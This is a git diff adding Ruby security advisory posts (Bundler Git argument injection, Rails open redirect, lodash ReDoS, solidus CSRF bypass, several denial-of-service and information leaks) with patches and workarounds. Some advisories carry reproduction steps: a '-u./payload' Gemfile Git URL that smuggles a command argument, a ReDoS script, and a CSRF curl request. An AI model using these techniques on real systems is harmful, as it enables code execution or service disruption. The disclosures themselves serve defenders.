+    To exploit this vulnerability, an attacker has to craft a directory containing a
+    `Gemfile` file that declares a dependency that is located in a Git repository. This
+    dependency has to have a Git URL in the form of `-u./payload`. This URL will be used to
+    construct a Git clone command but will be interpreted as the
+    [upload-pack](https://git-scm.com/docs/git-clone#Documentation/git-clone.txt--ultupload-packgt)
+    argument. Then this directory needs to be shared with the victim, who then needs to run
+    a command that evaluates the Gemfile, such as `bundle lock`, inside.
+
+    ### Impact
+
+    This vulnerability can lead to Arbitrary Code Execution, which could potentially lead
+    to the takeover of the system. However, as explained above, the exploitability is very
+    low, because it requires a lot of user interaction. It still could put developers at
+    risk when dealing with untrusted files in a way they think is safe, because the exploit
+    still works when the victim tries to make sure nothing can happen, e.g. by manually
+    reviewing the `Gemfile` (although they would need the weird URL with a leading dash to
+    not raise any flags).
+
+    This kind of attack vector
+    [has been used in the past](https://www.cnbc.com/2021/01/26/north-korean-hackers-targeting-security-researchers-on-twitter.html)
+    to target security researchers by sending them projects to collaborate on.
+
+    ### Patches
+
+    Bundler 2.2.33 has patched this problem by inserting `--` as an argument before any
+    positional arguments to those Git commands that were affected by this issue.
+
+    ### Workarounds
+
+    Regardless of whether users can upgrade or not, they should review any untrusted
+    `Gemfile`'s before running any `bundler` commands that may read them, since they
+    can contain arbitrary ruby code.
+  cvss_v3: 6.7
+  patched_versions:
+  - ">= 2.2.33"
+  related:
+    url:
+    - https://github.com/rubygems/rubygems/pull/5142
+    - https://github.com/rubygems/rubygems/commit/0fad1ccfe9dd7a3c5b82c1496df3c2b4842870d3
+    - https://github.com/rubygems/rubygems/commit/a4f2f8ac17e6ce81c689527a8b6f14381060d95f
+    - https://cwe.mitre.org/data/definitions/88.html
+---
diff --git a/advisories/_posts/2021-12-14-CVE-2021-44528.md b/advisories/_posts/2021-12-14-CVE-2021-44528.md
new file mode 100644
index 00000000..02890bf0
--- /dev/null
+++ b/advisories/_posts/2021-12-14-CVE-2021-44528.md
@@ -0,0 +1,69 @@
+---
+layout: advisory
+title: 'CVE-2021-44528 (actionpack): Possible Open Redirect in Host Authorization
+  Middleware'
+comments: false
+categories:
+- actionpack
+- rails
+advisory:
+  gem: actionpack
+  framework: rails
+  cve: 2021-44528
+  ghsa: qphc-hf5q-v8fc
+  url: https://groups.google.com/g/ruby-security-ann/c/vG9gz3nk1pM/m/7-NU4MNrDAAJ
+  title: Possible Open Redirect in Host Authorization Middleware
+  date: 2021-12-14
+  description: |
+    There is a possible open redirect vulnerability in the Host Authorization
+    middleware in Action Pack.
+
+    Specially crafted "X-Forwarded-Host" headers in combination with certain
+    "allowed host" formats can cause the Host Authorization middleware in Action
+    Pack to redirect users to a malicious website.
+
+    Impacted applications will have allowed hosts with a leading dot. For example,
+    configuration files that look like this:
+
+    ```
+    config.hosts <<  '.EXAMPLE.com'
+    ```
+
+    When an allowed host contains a leading dot, a specially crafted Host header
+    can be used to redirect to a malicious website.
+
+    This vulnerability is similar to CVE-2021-22881 and CVE-2021-22942.
+
+    Releases
+    --------
+    The fixed releases are available at the normal locations.
+
+    Patches
+    -------
+    To aid users who aren't able to upgrade immediately we have provided patches for
+    the two supported release series. They are in git-am format and consist of a
+    single changeset.
+
+    * 6-0-host-authorzation-open-redirect.patch - Patch for 6.0 series
+    * 6-1-host-authorzation-open-redirect.patch - Patch for 6.1 series
+    * 7-0-host-authorzation-open-redirect.patch - Patch for 7.0 series
+
+    Please note that only the 6.1.Z, 6.0.Z, and 5.2.Z series are supported at
+    present. Users of earlier unsupported releases are advised to upgrade as soon
+    as possible as we cannot guarantee the continued availability of security
+    fixes for unsupported releases.
+  cvss_v3: 6.1
+  unaffected_versions:
+  - "< 6.0.0"
+  patched_versions:
+  - "~> 6.0.4, >= 6.0.4.2"
+  - "~> 6.1.4, >= 6.1.4.2"
+  - ">= 7.0.0.rc2"
+  related:
+    cve:
+    - 2021-22881
+    - 2021-22942
+    url:
+    - https://github.com/rails/rails/commit/aecba3c301b80e9d5a63c30ea1b287bceaf2c107
+    - https://github.com/rails/rails/blob/v6.1.4.2/actionpack/CHANGELOG.md#rails-6142-december-14-2021
+---
diff --git a/advisories/_posts/2021-12-17-CVE-2021-43840.md b/advisories/_posts/2021-12-17-CVE-2021-43840.md
new file mode 100644
index 00000000..cf4df775
--- /dev/null
+++ b/advisories/_posts/2021-12-17-CVE-2021-43840.md
@@ -0,0 +1,36 @@
+---
+layout: advisory
+title: 'CVE-2021-43840 (message_bus): Path traversal when MessageBus::Diagnostics
+  is enabled'
+comments: false
+categories:
+- message_bus
+advisory:
+  gem: message_bus
+  cve: 2021-43840
+  ghsa: xmgj-5fh3-xjmm
+  url: https://github.com/discourse/message_bus/security/advisories/GHSA-xmgj-5fh3-xjmm
+  title: Path traversal when MessageBus::Diagnostics is enabled
+  date: 2021-12-17
+  description: |
+    ### Impact
+
+    Users who deployed message bus with diagnostics features enabled (default off) were
+    vulnerable to a path traversal bug, which could lead to disclosure of secret
+    information on a machine if an unintended user were to gain access to the diagnostic
+    route. The impact is also greater if there is no proxy for your web application as
+    the number of steps up the directories is not bounded. For deployments which uses a
+    proxy, the impact varies. For example, If a request goes through a proxy like Nginx
+    with `merge_slashes` enabled, the number of steps up the directories that can be
+    read is limited to 3 levels.
+
+    ### Workarounds
+
+    Disable MessageBus::Diagnostics in production like environments.
+  cvss_v3: 4.2
+  patched_versions:
+  - ">= 3.3.7"
+  related:
+    url:
+    - https://github.com/discourse/message_bus/commit/9b6deee01ed474c7e9b5ff65a06bb0447b4db2ba
+---
diff --git a/advisories/_posts/2022-01-06-CVE-2020-28500.md b/advisories/_posts/2022-01-06-CVE-2020-28500.md
new file mode 100644
index 00000000..a406de56
--- /dev/null
+++ b/advisories/_posts/2022-01-06-CVE-2020-28500.md
@@ -0,0 +1,68 @@
+---
+layout: advisory
+title: 'CVE-2020-28500 (lodash-rails): Regular Expression Denial of Service (ReDoS)
+  in lodash'
+comments: false
+categories:
+- lodash-rails
+advisory:
+  gem: lodash-rails
+  cve: 2020-28500
+  ghsa: 29mw-wpgm-hmr9
+  url: https://github.com/advisories/GHSA-29mw-wpgm-hmr9
+  title: Regular Expression Denial of Service (ReDoS) in lodash
+  date: 2022-01-06
+  description: |
+    All versions of package lodash prior to 4.17.21 are vulnerable
+    to Regular Expression Denial of Service (ReDoS) via the
+    `toNumber`, `trim` and `trimEnd` functions.
+
+    Steps to reproduce (provided by reporter Liyuan Chen):
+
+    ```
+      var lo = require('lodash');
+
+      function build_blank(n) {
+         var ret = "1"
+         for (var i = 0; i < n; i++) {
+             ret += " "
+         }
+         return ret + "1";
+     }
+     var s = build_blank(50000) var time0 = Date.now();
+     lo.trim(s)
+     var time_cost0 = Date.now() - time0;
+     console.log("time_cost0: " + time_cost0);
+     var time1 = Date.now();
+     lo.toNumber(s) var time_cost1 = Date.now() - time1;
+     console.log("time_cost1: " + time_cost1);
+     var time2 = Date.now();
+     lo.trimEnd(s);
+     var time_cost2 = Date.now() - time2;
+     console.log("time_cost2: " + time_cost2);
+    ```
+  cvss_v2: 5.0
+  cvss_v3: 5.3
+  patched_versions:
+  - ">= 4.17.21"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-28500
+    - https://github.com/lodash/lodash/pull/5065
+    - https://github.com/lodash/lodash/pull/5065/commits/02906b8191d3c100c193fe6f7b27d1c40f200bb7
+    - https://github.com/lodash/lodash/blob/npm/trimEnd.js
+    - https://snyk.io/vuln/SNYK-JS-LODASH-1018905
+    - https://snyk.io/vuln/SNYK-JAVA-ORGFUJIONWEBJARS-1074896
+    - https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARS-1074894
+    - https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-1074892
+    - https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBLODASH-1074895
+    - https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1074893
+    - https://www.oracle.com//security-alerts/cpujul2021.html
+    - https://www.oracle.com/security-alerts/cpuoct2021.html
+    - https://www.oracle.com/security-alerts/cpujan2022.html
+    - https://www.oracle.com/security-alerts/cpujul2022.html
+    - https://cert-portal.siemens.com/productcert/pdf/ssa-637483.pdf
+    - https://github.com/lodash/lodash/commit/c4847ebe7d14540bb28a8b932a9ce1b9ecbfee1a
+    - https://security.netapp.com/advisory/ntap-20210312-0006
+    - https://github.com/advisories/GHSA-29mw-wpgm-hmr9
+---
diff --git a/advisories/_posts/2022-01-06-CVE-2021-43846.md b/advisories/_posts/2022-01-06-CVE-2021-43846.md
new file mode 100644
index 00000000..fd06f1dc
--- /dev/null
+++ b/advisories/_posts/2022-01-06-CVE-2021-43846.md
@@ -0,0 +1,339 @@
+---
+layout: advisory
+title: 'CVE-2021-43846 (solidus_frontend): CSRF forgery protection bypass in solidus_frontend'
+comments: false
+categories:
+- solidus_frontend
+advisory:
+  gem: solidus_frontend
+  cve: 2021-43846
+  ghsa: h3fg-h5v3-vf8m
+  url: https://github.com/solidusio/solidus/security/advisories/GHSA-h3fg-h5v3-vf8m
+  title: CSRF forgery protection bypass in solidus_frontend
+  date: 2022-01-06
+  description: |
+    ### Impact
+    CSRF vulnerability that allows a malicious site to add an item to the user's
+    cart without their knowledge.
+
+    All `solidus_frontend` versions are affected. If you're using your own
+    storefront, please, follow along to make sure you're not affected.
+
+    To reproduce the issue:
+
+    - Pick the id for a variant with available stock. From the rails console:
+
+    ```ruby
+    Spree::Variant.in_stock.pluck(:id)
+    ```
+
+    Say we pick variant id `2`.
+
+    - Launch your application, for instance,
+      on `http://localhost:3000`:
+
+    ```bash
+    bin/rails server
+    ```
+
+    - Open your browser dev tools.
+
+    - Click on whatever link in your store.
+
+    - Copy the value of the `Cookie` request header sent for the previous request
+    from your browser dev tools.
+
+    - Execute the following, using your previously selected variant id and the
+    value of the `Cookie` header (notice how it doesn't contain any authentication
+    token):
+
+    ```bash
+    curl -X POST -d "variant_id=2&quantity=1" -H "Cookie:
+    guest_token=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklrWlRVMWRQWnpKMVZVdFNXRzlPVW1aaWJHTjZZa0VpIiwiZXhwIjpudWxsLCJwdXIiOiJjb29raWUuZ3Vlc3RfdG9rZW4ifX0%3D--5006ba5d346f621c760a29b6a797bf351d17d1b8;
+    _sandbox_session=vhutu5%2FL9NmWrUpGc3DxrFA%2FFsQD1dHn1cNsD7nvE84zcjWf17Af4%2F%2F2Vab3md71b6KTb9NP6WktdXktpwH4eU01jEGIBXG5%2BMzW5nL0nb4W269qk1io4LYljvoOg8%2BZVll7oJCVkJLKKh0sSoS0Kg8j%2FCHHs%2BsShohP%2BGnA%2Bfr9Ub8H6HofpSmloSpsfHHygmX0ho03fEgzHJ4DD5wJctaNKwg7NhVikHh5kgIPPHl84OGCgv3p2oe9jR19HTxOKq7BtyvDd7XZsecWhkcfS8BPnvDDUWZG6qpAEFI5kWo81KkpSJ%2Bp6Q1HOo8%3D--n3G2vgaDG7VS%2B%2FhF--ZTjxBAkfGG3hpr4GRQ2S1Q%3D%3D;
+    __profilin=p%3Dt" http://localhost:3000/orders/populate
+    ```
+
+    - Reload your browser and look at how your cart got updated.
+
+    ### Patches
+
+    Please, upgrade `solidus` to versions `3.1.5`, `3.0.5` or `2.11.14`.
+
+    After upgrading, make sure you read the "Upgrade notes"  section below.
+
+    ### Upgrade notes
+
+    The patch adds CSRF token verification to the "Add to cart" action. Adding
+    forgery protection to a form that missed it can have some side effects.
+
+    #### `InvalidAuthenticityToken` errors
+
+    If you're using the `:exception` strategy, it's likely that after upgrading,
+    you'll see more `ActionController::InvalidAuthenticityToken` errors popping out
+    in your logs. Due to browser-side cache, a form can be re-rendered and sent without
+    any attached request cookie (for instance, when re-opening a mobile browser). That
+    will cause an authentication error, as the sent token won't match with the one in
+    the session (none in this case). That's a known problem in the Rails community (see
+    https://github.com/rails/rails/issues/21948), and, at this point, there's no perfect
+    solution.
+
+    Any attempt to mitigate the issue should be seen at the application level.
+    For an excellent survey of all the available options, take a look at
+    https://github.com/betagouv/demarches-simplifiees.fr/blob/5b4f7f9ae9eaf0ac94008b62f7047e4714626cf9/doc/adr-csrf-forgery.md.
+    The latter is a third-party link. As the information is relevant here, we're going
+    to copy it below, but it should be clear that all the credit goes to @kemenaran:
+
+    > # Protecting against request forgery using CRSF tokens
+    >
+    > ## Context
+    >
+    > Rails has CSRF protection enabled by default, to protect against POST-based CSRF attacks.
+    >
+    > To protect from this, Rails stores two copies of a random token (the so-named CSRF token) on each request:
+    > - one copy embedded in each HTML page,
+    > - another copy in the user session.
+    >
+    > When performing a POST request, Rails checks that the two copies match – and
+    > otherwise denies the request. This protects against an attacker that would
+    > generate a form secretly pointing to our website: the attacker can't read
+    > the token in the session, and so can't post a form with a valid token.
+    >
+    > The problem is that, much more often, this has false positives.
+    > There are several cases for that, including:
+    >
+    > 1. The web browser (often mobile) loads a page containing a form, then is
+    > closed by the user. Later, when the browser is re-opened, it restores the
+    > page from the cache. But the session cookie has expired, and so is not
+    > restored – so the copy of the CSRF token stored in the session is missing.
+    > When the user submits the form, they get an "InvalidAuthenticityToken"
+    > exception.
+    >
+    > 2. The user attempts to fill a form, and gets an error message (usually in
+    > response to a POST request). They close the browser. When the browser is
+    > re-opened, it attempts to restore the page. On Chrome this is blocked by the
+    > browser, because the browser denies retrying a (probably non-idempotent)
+    > POST request. Safari however happily retries the POST request – but without
+    > sending any cookies (in an attempt to avoid having unexpected side-effects).
+    > So the copy of the CSRF token in the session is missing (because no cookie
+    > was sent), and the user get an "InvalidAuthenticityToken" exception.
+    >
+    > ## Options considered
+    >
+    > ### Extend the session cookie duration
+    >
+    > We can configure the session cookie to be valid for a longer time (like 2
+    > weeks).
+    >
+    > Pros:
+    > - It solves 1., because when the browser restores the page, the session
+    > cookie is still valid.
+    >
+    > Cons:
+    > - Users would be signed-in for a much longer time by default, which has
+    > unacceptable security implications.
+    > - It doesn't solve 2. (because Safari doesn't send any cookie when restoring
+    > a page from a POST request)
+    >
+    > ### Change the cache parameters
+    >
+    > We can send a HTTP cache header stating 'Cache-Control: no-store, no-cache'.
+    > This instructs the browser to never keep any copy of the page, and to always
+    > make a request to the server to restore it.
+    >
+    > This solution was attempted during a year in production, and solved 1.
+    > – but also introduced another type of InvalidAuthenticityToken errors. In
+    > that scenario, the user attempts to fill a form, and gets an error message
+    > (usually in response to a POST request). They then navigate on another domain (like
+    > France Connect), then hit the "Back" button. Crossing back the domain boundary
+    > may cause the browser to either block the request or retry an invalid POST request.
+    >
+    > Pros:
+    > - It solves 1., because on relaunch the browser requests a fresh page again
+    > (instead of serving it from its cache), thus retrieving a fresh session and
+    > a fresh matching CSRF token.
+    >
+    > Cons:
+    > - It doesn't solve 2.
+    > - It causes another type of InvalidAuthenticityToken errors.
+    >
+    > ### Using a null-session strategy
+    >
+    > We can change the default protect_from_forgery strategy to :null_session.
+    > This makes the current request use an empty session for the request duration.
+    >
+    > Pros:
+    > - It kind of solves 1., by redirecting to a "Please sign-in" page
+    > when a stale form is submitted.
+    >
+    > Cons:
+    > - The user is asked to sign-in only after filling and submitting the form,
+    > losing their time and data
+    > - The user will not be redirected to their original page after signing-in
+    > - It has potential security implications: as the (potentically malicious)
+    > request runs anyway, variables cached by a controller before the Null
+    > session is created may allow the form submission to succeed anyway
+    > (https://www.veracode.com/blog/managing-appsec/when-rails-protectfromforgery-fails)
+    >
+    > ### Using a reset-session strategy
+    >
+    > We can change the default protect_from_forgery strategy to :reset_session.
+    > This clears the user session permanently, logging them out until they log in
+    > again.
+    >
+    > Pros:
+    > - It kind of solves 1., by redirecting to a "Please sign-in" page when a
+    > stale form is submitted.
+    >
+    > Cons:
+    > - A forgery error in a browser tab will disconnect the user in all its open
+    > tabs
+    > - It has potential security implications: as the (potentically malicious)
+    > request runs anyway, variables cached by a controller before the Null session
+    > is created may allow the form submission to succeed anyway
+    > (https://www.veracode.com/blog/managing-appsec/when-rails-protectfromforgery-fails)
+    > - It allows an attacker to disconnect an user on demand, which is not only
+    > inconvenient, but also has security implication (the attacker could then log
+    > the user on it's own attacker account, pretending to be the user account)
+    >
+    > ### Redirect to login form
+    >
+    > When a forgery error occurs, we can instead redirect to the login form.
+    >
+    > Pros:
+    > - It kind of solves 1., by redirecting to a "Please sign-in" page when a
+    > stale form is submitted (but the user data is lost).
+    > - It kind of solves 2., by redirecting to a "Please sign-in" page when a
+    > previously POSTed form is reloaded.
+    >
+    > Cons:
+    > - Not all forms require authentication – so for
+    > public forms there is no point redirecting to the login form.
+    > - The user will not be redirected to their original page after signing-in
+    > (because setting the redirect path is a state-changing action, and it is
+    > dangerous to let an unauthorized request changing the state – an attacker
+    > could control the path where an user is automatically redirected to.)
+    > - The implementation is finicky, and may introduce security errors.
+    > For instance, a naive implementation that catches the exception and
+    > redirect_to the sign-in page will prevent Devise from running a cleanup code
+    > – which means the user will still be logged, and the CSRF protection is
+    > bypassed. However a well-tested implementation that lets Devise code run
+    > should avoid these pittfalls.
+    >
+    > ### Using a long-lived cookie for CSRF tokens
+    >
+    > Instead of storing the CSRF token in the session cookie (which is deleted
+    > when the browser is closed), we can instead store it in a longer-lived
+    > cookie. For this we need to patch Rails.
+    >
+    > Pros:
+    > - It solves 1., because when the user submits a stale form, even if the
+    > session cookie because stale, the long-lived CSRF cookie is still valid.
+    >
+    > Cons:
+    > - It doesn't solve 2., because when Safari retries a POST request, it sends
+    > none of the cookies (not even long-lived ones).
+    > - Patching Rails may introduce security issues (now or in the future)
+
+    #### Broken behavior due to session expiration + template cache
+
+    Although pretty unlikely, you should make sure that your current setup for
+    cache/session expiration is compatible. The upgrade can break the addition
+    of products to the cart if both:
+
+    - The "Add to cart" form is being cached (usually along with the variant
+    information).
+
+    - A user session is reset at every or every few requests.
+
+    The token validation depends on the issuing and consuming sessions
+    being the same. If a product page is cached with the token in it, it can
+    become stale on a subsequent rendering if the session changes.
+
+    To check that you're safe, after having upgraded locally, go through the
+    following steps:
+
+    - Enable cache on dev mode:
+
+    ```bash
+    bin/rails dev:cache
+    ```
+
+    - Visit the page for a variant with stock.
+
+    - Reload that page several times.
+
+    - Click on the "Add to cart"  button.
+
+    - Remember to rerun `bin/rails dev:cache` to turn off cache again.
+
+    No error or session reset should happen.
+
+    Otherwise, you can try with:
+
+    - Revisiting how your session gets expired.
+    - Changing the caching strategy to exclude the token.
+
+    #### Using weaker CSRF protection strategies
+
+    It's also important to understand that a complete fix will only be in place
+    when using the `:exception` forgery protection strategy. The
+    `solidus_frontend` engine can't do pretty much anything otherwise. Using
+    weaker CSRF strategies should be an informed and limited decision made by the
+    application team. After the upgrade:
+
+    - An app using `:null_session` should also be safe, but there will be side
+    effects. That strategy runs with a null object session. As such, no order and
+    no user is found on it. A new `cart` state order is created in the database,
+    associated with no user. Next time the user visits the site, they won't find
+    any difference in its cart state.
+
+    - An app using `:reset_session` is not entirely safe. That strategy resets the
+    session. That means that registered users will be logged out. Next time a user
+    visits, they'll see the cart with the items added during the CSRF attack,
+    although it won't be associated with their account in the case of registered
+    users.
+
+    #### Reversing the update
+
+    If you still want to deploy the upgraded version before changing your
+    application code (if the latter is needed), you can add the following
+    workaround to your `config/application.rb` (however, take into account that
+    you'll keep being vulnerable):
+
+    ```ruby
+    config.after_initialize do
+      Spree::OrdersController.skip_before_action :verify_authenticity_token, only:
+        [:populate]
+    end
+    ```
+
+    ### Workarounds
+
+    If an upgrade is not an option, you can work around the issue by adding the
+    following to `config/application.rb`:
+
+    ```ruby
+    config.after_initialize do
+      Spree::OrdersController.protect_from_forgery with: ApplicationController.forgery_protection_strategy.name.demodulize.underscore.to_sym,
+        only: [:populate]
+    end
+    ```
+
+    However, go through the same safety check detailed on "Upgrade notes" above.
+
+    ### References
+
+    - [CSRF on the Rails guides](https://guides.rubyonrails.org/security.html#cross-site-request-forgery-csrf)
+    - [How CSRF tokens are generated and validated on Rails](https://medium.com/rubyinside/a-deep-dive-into-csrf-protection-in-rails-19fa0a42c0ef)
+    - [Solidus security](https://solidus.io/security/)
+  cvss_v3: 5.3
+  patched_versions:
+  - ">= 3.1.5"
+  - "~> 3.0.5"
+  - "~> 2.11.14"
+  related:
+    url:
+    - https://github.com/solidusio/solidus/commit/4d17cacf066d9492fc04eb3a0b16084b47376d81
+    - https://github.com/solidusio/solidus/commit/a1b9bf7f24f9b8684fc4d943eacb02b1926c77c6
+---
diff --git a/advisories/_posts/2022-01-07-CVE-2021-22569.md b/advisories/_posts/2022-01-07-CVE-2021-22569.md
new file mode 100644
index 00000000..2fef55e6
--- /dev/null
+++ b/advisories/_posts/2022-01-07-CVE-2021-22569.md
@@ -0,0 +1,52 @@
+---
+layout: advisory
+title: 'CVE-2021-22569 (google-protobuf): A potential Denial of Service issue in protobuf-java'
+comments: false
+categories:
+- google-protobuf
+- jruby
+advisory:
+  gem: google-protobuf
+  platform: jruby
+  cve: 2021-22569
+  ghsa: wrvw-hg22-4m67
+  url: https://github.com/protocolbuffers/protobuf/security/advisories/GHSA-wrvw-hg22-4m67
+  title: A potential Denial of Service issue in protobuf-java
+  date: 2022-01-07
+  description: |
+    ## Summary
+
+    A potential Denial of Service issue in protobuf-java was discovered in the
+    parsing procedure for binary data.
+
+    Affected versions: All versions of Java Protobufs (including Kotlin and JRuby)
+    prior to the versions listed below. Protobuf "javalite" users (typically
+    Android) are not affected.
+
+    ## Severity
+
+    **High** - An implementation weakness in how unknown fields are parsed in
+    Java. A small (~800 KB) malicious payload can occupy the parser for several
+    minutes by creating large numbers of short-lived objects that cause frequent,
+    repeated GC pauses.
+
+    ## Proof of Concept
+
+    For reproduction details, please refer to the oss-fuzz issue that identifies
+    the specific inputs that exercise this parsing weakness.
+
+    ## Remediation and Mitigation
+
+    Please update to the latest available versions of the following packages:
+
+    - protobuf-java (3.16.1, 3.18.2, 3.19.2)
+    - protobuf-kotlin (3.18.2, 3.19.2)
+    - google-protobuf [JRuby gem only] (3.19.2)
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 3.19.2"
+  related:
+    url:
+    - https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=39330
+    - https://cloud.google.com/support/bulletins#gcp-2022-001
+---
diff --git a/advisories/_posts/2022-01-27-CVE-2022-23837.md b/advisories/_posts/2022-01-27-CVE-2022-23837.md
new file mode 100644
index 00000000..fed58808
--- /dev/null
+++ b/advisories/_posts/2022-01-27-CVE-2022-23837.md
@@ -0,0 +1,26 @@
+---
+layout: advisory
+title: 'CVE-2022-23837 (sidekiq): Denial of service in sidekiq'
+comments: false
+categories:
+- sidekiq
+advisory:
+  gem: sidekiq
+  cve: 2022-23837
+  ghsa: jrfj-98qg-qjgv
+  url: https://github.com/mperham/sidekiq/commit/7785ac1399f1b28992adb56055f6acd88fd1d956
+  title: Denial of service in sidekiq
+  date: 2022-01-27
+  description: |
+    In api.rb in Sidekiq before 5.2.10 and 6.4.0, there is no limit on the number of
+    days when requesting stats for the graph. This overloads the system, affecting the
+    Web UI, and makes it unavailable to users.
+  cvss_v2: 5.0
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 6.4.0"
+  - "~> 5.2.10"
+  related:
+    url:
+    - https://github.com/TUTUMSPACE/exploits/blob/main/sidekiq.md
+---
diff --git a/advisories/_posts/2022-02-09-CVE-2022-0524.md b/advisories/_posts/2022-02-09-CVE-2022-0524.md
new file mode 100644
index 00000000..a56ab7cf
--- /dev/null
+++ b/advisories/_posts/2022-02-09-CVE-2022-0524.md
@@ -0,0 +1,24 @@
+---
+layout: advisory
+title: 'CVE-2022-0524 (publify_core): Business Logic Errors in Publify'
+comments: false
+categories:
+- publify_core
+advisory:
+  gem: publify_core
+  cve: 2022-0524
+  ghsa: x3rq-r3cm-5vc4
+  url: https://github.com/publify/publify/commit/16fceecadbe80ab0ef846b62a12dc7bfff10b8c5
+  title: Business Logic Errors in Publify
+  date: 2022-02-09
+  description: |
+    Publify (formerly known as Typo) prior to version 9.2.7 is vulnerable
+    to business logic errors.
+  cvss_v3: 6.5
+  patched_versions:
+  - ">= 9.2.7"
+  related:
+    url:
+    - https://huntr.dev/bounties/bfffae58-b3cd-4e0e-b1f2-3db387a22c3d
+    - https://github.com/publify/publify/releases/tag/v9.2.7
+---
diff --git a/advisories/_posts/2022-02-11-CVE-2022-23633.md b/advisories/_posts/2022-02-11-CVE-2022-23633.md
new file mode 100644
index 00000000..1be515d2
--- /dev/null
+++ b/advisories/_posts/2022-02-11-CVE-2022-23633.md
@@ -0,0 +1,70 @@
+---
+layout: advisory
+title: 'CVE-2022-23633 (actionpack): Possible exposure of information vulnerability
+  in Action Pack'
+comments: false
+categories:
+- actionpack
+- rails
+advisory:
+  gem: actionpack
+  framework: rails
+  cve: 2022-23633
+  ghsa: wh98-p28r-vrc9
+  url: https://groups.google.com/g/ruby-security-ann/c/FkTM-_7zSNA/m/K2RiMJBlBAAJ
+  title: Possible exposure of information vulnerability in Action Pack
+  date: 2022-02-11
+  description: |
+    ## Impact
+
+    Under certain circumstances response bodies will not be closed, for example a
+    bug in a webserver (https://github.com/puma/puma/pull/2812) or a bug in a Rack
+    middleware. In the event a response is not notified of a `close`,
+    `ActionDispatch::Executor` will not know to reset thread local state for the
+    next request. This can lead to data being leaked to subsequent requests,
+    especially when interacting with `ActiveSupport::CurrentAttributes`.
+
+    Upgrading to the FIXED versions of Rails will ensure mitigation if this issue
+    even in the context of a buggy webserver or middleware implementation.
+
+    ## Patches
+
+    This has been fixed in Rails 7.0.2.2, 6.1.4.6, 6.0.4.6, and 5.2.6.2.
+
+    ## Workarounds
+
+    Upgrading is highly recommended, but to work around this problem the following
+    middleware can be used:
+
+    ```
+    class GuardedExecutor < ActionDispatch::Executor
+      def call(env)
+        ensure_completed!
+        super
+      end
+
+      private
+
+        def ensure_completed!
+          @executor.new.complete! if @executor.active?
+        end
+    end
+
+    # Ensure the guard is inserted before ActionDispatch::Executor
+    Rails.application.configure do
+      config.middleware.swap ActionDispatch::Executor, GuardedExecutor, executor
+    end
+    ```
+  cvss_v3: 7.4
+  unaffected_versions:
+  - "< 5.0.0"
+  patched_versions:
+  - "~> 5.2.6, >= 5.2.6.2"
+  - "~> 6.0.4, >= 6.0.4.6"
+  - "~> 6.1.4, >= 6.1.4.6"
+  - ">= 7.0.2.2"
+  related:
+    url:
+    - https://github.com/rails/rails/commit/10c64a472f2f19a5e485bdac7d5106a76aeb29a5
+    - https://github.com/rails/rails/blob/7-0-stable/actionpack/CHANGELOG.md#rails-7021-february-11-2022
+---
diff --git a/advisories/_posts/2022-02-11-CVE-2022-23634.md b/advisories/_posts/2022-02-11-CVE-2022-23634.md
new file mode 100644
index 00000000..20ecaf0f
--- /dev/null
+++ b/advisories/_posts/2022-02-11-CVE-2022-23634.md
@@ -0,0 +1,62 @@
+---
+layout: advisory
+title: 'CVE-2022-23634 (puma): Information Exposure with Puma when used with Rails'
+comments: false
+categories:
+- puma
+advisory:
+  gem: puma
+  cve: 2022-23634
+  ghsa: rmj8-8hhh-gv5h
+  url: https://github.com/puma/puma/security/advisories/GHSA-rmj8-8hhh-gv5h
+  title: Information Exposure with Puma when used with Rails
+  date: 2022-02-11
+  description: |
+    ### Impact
+
+    Prior to `puma` version `5.6.2`, `puma` may not always call
+    `close` on the response body. Rails, prior to version `7.0.2.2`, depended on the
+    response body being closed in order for its `CurrentAttributes` implementation to
+    work correctly.
+
+    From Rails:
+
+    > Under certain circumstances response bodies will not be closed, for example
+    > a bug in a webserver[1] or a bug in a Rack middleware. In the event a
+    > response is not notified of a close, ActionDispatch::Executor will not know
+    > to reset thread local state for the next request. This can lead to data
+    > being leaked to subsequent requests, especially when interacting with
+    > ActiveSupport::CurrentAttributes.
+
+    The combination of these two behaviors (Puma not closing the body + Rails'
+    Executor implementation) causes information leakage.
+
+    ### Patches
+
+    This problem is fixed in Puma versions 5.6.2 and 4.3.11.
+
+    This problem is fixed in Rails versions 7.02.2, 6.1.4.6, 6.0.4.6, and 5.2.6.2.
+
+    See: https://github.com/advisories/GHSA-wh98-p28r-vrc9
+    for details about the rails vulnerability
+
+    Upgrading to a patched Rails _or_ Puma version fixes the vulnerability.
+
+    ### Workarounds
+
+    Upgrade to Rails versions 7.0.2.2, 6.1.4.6, 6.0.4.6, and 5.2.6.2.
+
+    The [Rails CVE](https://groups.google.com/g/ruby-security-ann/c/FkTM-_7zSNA/m/K2RiMJBlBAAJ?utm_medium=email&utm_source=footer&pli=1)
+    includes a middleware that can be used instead.
+  cvss_v3: 8.0
+  patched_versions:
+  - "~> 4.3.11"
+  - ">= 5.6.2"
+  related:
+    cve:
+    - 2022-23633
+    ghsa:
+    - wh98-p28r-vrc9
+    url:
+    - https://github.com/puma/puma/commit/b70f451fe8abc0cff192c065d549778452e155bb
+---
diff --git a/advisories/_posts/2022-02-15-CVE-2014-0177.md b/advisories/_posts/2022-02-15-CVE-2014-0177.md
new file mode 100644
index 00000000..779b9ef5
--- /dev/null
+++ b/advisories/_posts/2022-02-15-CVE-2014-0177.md
@@ -0,0 +1,29 @@
+---
+layout: advisory
+title: 'CVE-2014-0177 (hub): Hub Package Arbitrary File Overwrite'
+comments: false
+categories:
+- hub
+advisory:
+  gem: hub
+  cve: 2014-0177
+  ghsa: x5m6-jh4r-34mv
+  url: https://github.com/mislav/hub/releases/tag/v1.12.1
+  title: Hub Package Arbitrary File Overwrite
+  date: 2022-02-15
+  description: |
+    The am function in lib/hub/commands.rb in hub before 1.12.1 allows
+    local users to overwrite arbitrary files via a symlink attack
+    on a temporary patch file.
+  cvss_v2: 3.6
+  cvss_v3: 4.4
+  patched_versions:
+  - ">= 1.12.1"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2014-0177
